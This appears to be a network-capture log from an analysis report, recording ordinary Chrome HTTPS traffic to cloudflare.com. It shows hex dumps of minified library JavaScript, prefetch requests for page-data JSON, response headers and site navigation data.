2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 7b 73 65 74 3a 61 2c 67 65 74 3a 72 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 61 28 74 2c 22 22 2c 65 28 7b 7d 2c 6e 2c 7b 65 78 70 69 72 65 73 3a 2d 31 7d 29 29 7d 2c 77 69 74 68 41 74 74 72 69 62 75 74 65 73 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 28 74 68 69 73 2e 63 6f 6e 76 65 72 74 65 72 2c 65 28 7b 7d 2c 74 68 69 73 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 29 29 7d 2c 77 69 74 68 43 6f 6e 76 65 72 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 28 65 28 7b 7d 2c 74 68 69 73 2e 63 6f 6e 76 65 72 74 65 72 2c 6e 29 2c 74 68 69 73 2e 61 74 74 72 69 62 75 74 65 73 29 7d 7d 2c 7b 61 74 74 72 69 62 75 74 65 73 3a 7b 76 61 6c Data Ascii: return Object.create({set:a,get:r,remove:function(t,n){a(t,"",e({},n,{expires:-1}))},withAttributes:function(n){return t(this.converter,e({},this.attributes,n))},withConverter:function(n){return t(e({},this.converter,n),this.attributes)}},{attributes:{val
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 69 28 61 28 65 29 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 32 32 35 29 2c 61 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 26 26 73 65 6c 66 2e 4f 62 6a 65 63 74 3d 3d 3d 4f 62 6a 65 63 74 26 26 73 65 6c 66 2c 72 3d 69 7c 7c 61 7c 7c 46 75 6e 63 74 69 6f 6e 28 22 72 65 74 75 72 6e 20 74 68 69 73 22 29 28 29 3b 65 2e 65 78 70 6f 72 74 73 3d 72 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 35 38 38 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 33 32 31 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e Data Ascii: =function(e){return i(a(e))}},function(e,t,n){var i=n(225),a="object"==typeof self&&self&&self.Object===Object&&self,r=i\|\|a\|\|Function("return this")();e.exports=r},function(e,t,n){e.exports=n(588)},function(e,t,n){e.exports=n(321)},function(e,t,n){var i=n
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 28 32 26 65 29 2c 77 72 69 74 61 62 6c 65 3a 21 28 34 26 65 29 2c 76 61 6c 75 65 3a 74 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 31 35 34 29 2c 61 3d 6e 28 33 35 29 2e 66 2c 72 3d 6e 28 36 30 29 2c 6f 3d 6e 28 32 30 29 2c 73 3d 6e 28 33 30 38 29 2c 6c 3d 6e 28 31 35 29 28 22 74 6f 53 74 72 69 6e 67 54 61 67 22 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 64 29 7b 69 66 28 65 29 7b 76 61 72 20 75 3d 6e 3f 65 3a 65 2e 70 72 6f 74 6f 74 79 70 65 3b 6f 28 75 2c 6c 29 7c 7c 61 28 75 2c 6c 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 74 7d 29 2c 64 26 26 21 69 26 26 72 28 75 2c 22 74 6f 53 74 72 69 6e 67 22 2c 73 29 Data Ascii: configurable:!(2&e),writable:!(4&e),value:t}}},function(e,t,n){var i=n(154),a=n(35).f,r=n(60),o=n(20),s=n(308),l=n(15)("toStringTag");e.exports=function(e,t,n,d){if(e){var u=n?e:e.prototype;o(u,l)\|\|a(u,l,{configurable:!0,value:t}),d&&!i&&r(u,"toString",s)
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 74 3a 75 28 37 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 33 35 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 36 37 34 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 38 36 29 2c 61 3d 54 79 70 65 45 72 72 6f 72 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 69 28 65 29 29 74 68 72 6f 77 20 61 28 22 43 61 6e 27 74 20 63 61 6c 6c 20 6d 65 74 68 6f 64 20 6f 6e 20 22 2b 65 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 34 30 29 3b 65 2e 65 78 70 6f 72 74 73 3d 69 28 22 6e 61 76 69 67 61 74 6f 72 22 2c 22 75 73 65 72 41 67 65 6e 74 Data Ascii: t:u(7)}},function(e,t,n){e.exports=n(350)},function(e,t,n){e.exports=n(674)},function(e,t,n){var i=n(86),a=TypeError;e.exports=function(e){if(i(e))throw a("Can't call method on "+e);return e}},function(e,t,n){var i=n(40);e.exports=i("navigator","userAgent
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 65 78 70 6f 72 74 73 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 41 72 72 61 79 22 3d 3d 69 28 65 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 35 34 29 2c 61 3d 6e 28 32 33 29 2c 72 3d 6e 28 33 36 29 2c 6f 3d 6e 28 38 39 29 2c 73 3d 6e 28 32 31 34 29 2c 6c 3d 6e 28 34 35 29 2c 64 3d 6e 28 31 31 29 2c 75 3d 6e 28 31 36 33 29 2c 63 3d 6e 28 31 33 30 29 2c 6d 3d 6e 28 32 31 33 29 2c 68 3d 54 79 70 65 45 72 72 6f 72 2c 70 3d 66 75 6e 63 74 69 6f Data Ascii: exports=Array.isArray\|\|function(e){return"Array"==i(e)}},function(e,t){e.exports=function(e){return null!=e&&"object"==typeof e}},function(e,t,n){var i=n(54),a=n(23),r=n(36),o=n(89),s=n(214),l=n(45),d=n(11),u=n(163),c=n(130),m=n(213),h=TypeError,p=functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.8	50834	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	4255	OUT	GET /page-data/plans/page-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.cloudflare.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED]
2024-10-18 13:48:14 UTC	963	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"fe8143f4f57e2c50dfe866264c963c60" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hLLlxn4ZsbsK8UnZ%2FphSU7fT1Afk5Sj%2B6xl3jpbmOhodZu5eYvBjelkZr1RGvgCPabG38mrFF50oeD2C12kvZEPiZtTBuZKdJpJGEPDG0ALmdfUc%2FfoPDp8wj7LlKREGtUwaKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc1e1e0a4756-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 43 68 75 6e 6b 4e 61 6d 65 22 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 67 65 2d 70 61 67 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 22 70 61 74 68 22 3a 22 2f 70 6c 61 6e 73 2f 22 2c 22 72 65 73 75 6c 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 61 67 65 22 3a 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 50 6c 61 6e 73 20 61 6e 64 20 50 72 69 63 69 6e 67 20 50 61 67 65 20 28 4c 49 56 45 20 2f 70 6c 61 6e 73 2f 29 20 20 22 2c 22 6c 6f 63 61 6c 65 4c 69 73 74 22 3a 7b 22 65 6e 55 53 22 3a 22 45 6e 67 6c 69 73 68 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 7a 68 43 4e 22 3a 22 54 72 61 6e 73 6c 61 74 65 64 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 7a 68 54 57 22 Data Ascii: 7ff2{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/plans/","result":{"data":{"page":{"pageName":"Plans and Pricing Page (LIVE /plans/) ","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW"
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 6f 6d 2f 73 6c 74 33 6c 63 36 74 65 76 33 37 2f 35 33 71 43 59 68 51 62 69 72 35 57 74 49 55 30 56 44 57 45 53 6f 2f 39 35 34 61 34 38 62 66 62 31 37 66 34 32 39 61 63 66 34 36 39 65 35 66 31 34 33 34 35 64 38 33 2f 75 6e 6e 61 6d 65 64 2d 33 2e 70 6e 67 22 7d 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 4f 20 4e 4f 54 20 52 45 4d 4f 56 45 2c 20 54 48 49 53 20 49 53 20 43 4c 4f 55 44 46 4c 41 52 45 27 53 20 47 4c 4f 42 41 4c 20 4f 47 20 4d 45 54 41 20 41 53 53 45 54 22 7d 2c 22 66 61 63 65 62 6f 6f 6b 43 75 73 74 6f 6d 49 6d 61 67 65 22 3a 6e 75 6c 6c 2c 22 61 75 74 68 6f 72 22 3a 5b 5d 7d 2c 22 73 79 73 22 3a 7b 22 63 72 65 61 74 65 64 41 74 22 3a 22 32 30 32 31 2d 30 36 2d 32 35 54 31 36 3a 33 32 3a 34 35 2e 36 30 30 5a 22 2c 22 75 70 64 61 74 65 Data Ascii: om/slt3lc6tev37/53qCYhQbir5WtIU0VDWESo/954a48bfb17f429acf469e5f14345d83/unnamed-3.png"},"description":"DO NOT REMOVE, THIS IS CLOUDFLARE'S GLOBAL OG META ASSET"},"facebookCustomImage":null,"author":[]},"sys":{"createdAt":"2021-06-25T16:32:45.600Z","update
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 73 6b 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 66 61 6c 73 65 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 34 61 39 5a 74 6d 51 6f 77 70 45 4c 31 52 4a 72 44 45 45 50 62 77 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 43 79 62 65 72 73 65 63 75 72 69 74 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 69 66 69 65 64 20 73 65 63 75 72 69 74 79 20 66 6f 72 20 74 68 65 20 Data Ascii: sk-management/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":false},{"contentTypeId":"elementNavLink","contentfulId":"4a9ZtmQowpEL1RJrDEEPbw","locale":"en-US","title":"Cybersecurity","description":"Unified security for the
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 32 35 35 37 61 58 6c 6c 74 4d 57 36 64 79 4c 48 32 56 4b 6b 59 68 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 42 79 20 6e 65 65 64 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 33 34 75 38 64 33 49 48 63 71 43 43 30 65 78 5a 77 57 51 7a 70 6b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 50 72 6f 74 Data Ascii: d":"navNavigationItem","contentfulId":"2557aXlltMW6dyLH2VKkYh","locale":"en-US","name":"By need","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"34u8d3IHcqCC0exZwWQzpk","locale":"en-US","title":"Prot
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 66 61 6c 73 65 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 32 79 75 6f 54 31 7a 48 55 77 5a 79 79 64 63 68 36 51 62 54 53 42 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 42 79 20 69 6e 64 75 73 74 72 79 22 2c 22 64 65 73 Data Ascii: :null,"openInNewWindow":false,"isExternalUrl":false}],"navIcon":null,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"2yuoT1zHUwZyydch6QbTSB","locale":"en-US","name":"By industry","des
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 35 6b 41 6d 34 4e 41 4d 6d 75 53 55 39 75 38 42 71 42 65 36 67 65 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 48 65 61 6c 74 68 63 61 72 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 6d 65 64 69 63 61 6c 20 69 6e 73 74 69 74 75 74 69 6f 6e 73 20 6f 72 20 73 65 72 76 69 63 65 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 Data Ascii: ull,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"5kAm4NAMmuSU9u8BqBe6ge","locale":"en-US","title":"Healthcare","description":"For medical institutions or services","url":"https://ww
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 46 6f 72 20 73 6f 66 74 77 61 72 65 20 73 65 72 76 69 63 65 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 73 61 61 73 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 Data Ascii: For software services","url":"https://www.cloudflare.com/saas/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null}],"navIcon":null,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavi
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 22 3a 22 52 64 49 43 43 4c 6b 65 31 55 56 39 62 43 32 50 70 33 38 4b 6b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 50 72 6f 6a 65 63 74 20 46 61 69 72 20 53 68 6f 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 76 61 63 63 69 6e 65 20 61 63 63 65 73 73 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 69 72 2d 73 68 6f 74 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 74 72 75 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 Data Ascii: ":"RdICCLke1UV9bC2Pp38Kk","locale":"en-US","title":"Project Fair Shot","description":"For vaccine access organizations","url":"https://www.cloudflare.com/fair-shot/","badges":null,"specialLinkType":null,"openInNewWindow":true,"isExternalUrl":null},{"conte
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 32 4f 32 59 4b 45 34 73 70 6c 75 6a 59 6c 77 51 56 76 67 53 4c 73 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 46 6f 72 20 79 6f 75 72 20 65 6d 70 6c 6f 79 65 65 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 Data Ascii: l,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"2O2YKE4splujYlwQVvgSLs","locale":"en-US","name":"For your employees","description":null,"mainLink":null,"navigationLinks":[{"contentType
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 22 74 69 74 6c 65 22 3a 22 4e 65 74 77 6f 72 6b 20 73 65 63 75 72 69 74 79 20 26 20 70 65 72 66 6f 72 6d 61 6e 63 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 50 72 6f 74 65 63 74 20 26 20 61 63 63 65 6c 65 72 61 74 65 20 69 6e 66 72 61 73 74 72 75 63 74 75 72 65 20 77 69 74 68 20 4c 33 20 44 44 6f 53 20 70 72 6f 74 65 63 74 69 6f 6e 20 26 20 46 57 2c 20 69 6e 74 65 72 63 6f 6e 6e 65 63 74 73 20 61 6e 64 20 73 6d 61 72 74 20 72 6f 75 74 69 6e 67 22 2c 22 75 72 6c 22 3a 22 6e 65 74 77 6f 72 6b 2d 73 65 72 76 69 63 65 73 2f 70 72 6f 64 75 63 74 73 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 Data Ascii: "title":"Network security & performance","description":"Protect & accelerate infrastructure with L3 DDoS protection & FW, interconnects and smart routing","url":"network-services/products","badges":null,"specialLinkType":null,"openInNewWindow":false,"isEx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.8	50838	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	4710	OUT	GET /page-data/learning/access-management/what-is-sase/page-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.cloudflare.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED]
2024-10-18 13:48:14 UTC	965	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"fc13bac1409877e68352a717c0f05402" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o2Cnx%2BDru8MNpf6WpKlsveJFcAYd8m299CW47xGIa4dJ54RTGRV3ZZfQ6LbnwDe37BM%2FKvFu2o4MZcbdEDKlWi2UK9OEUAImKs8j5hEy0TtAg%2F9m5hHdTzwVzx8j1Q1s%2BHKXZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc1edc573ab9-DFW alt-svc: h3=":443"; ma=86400
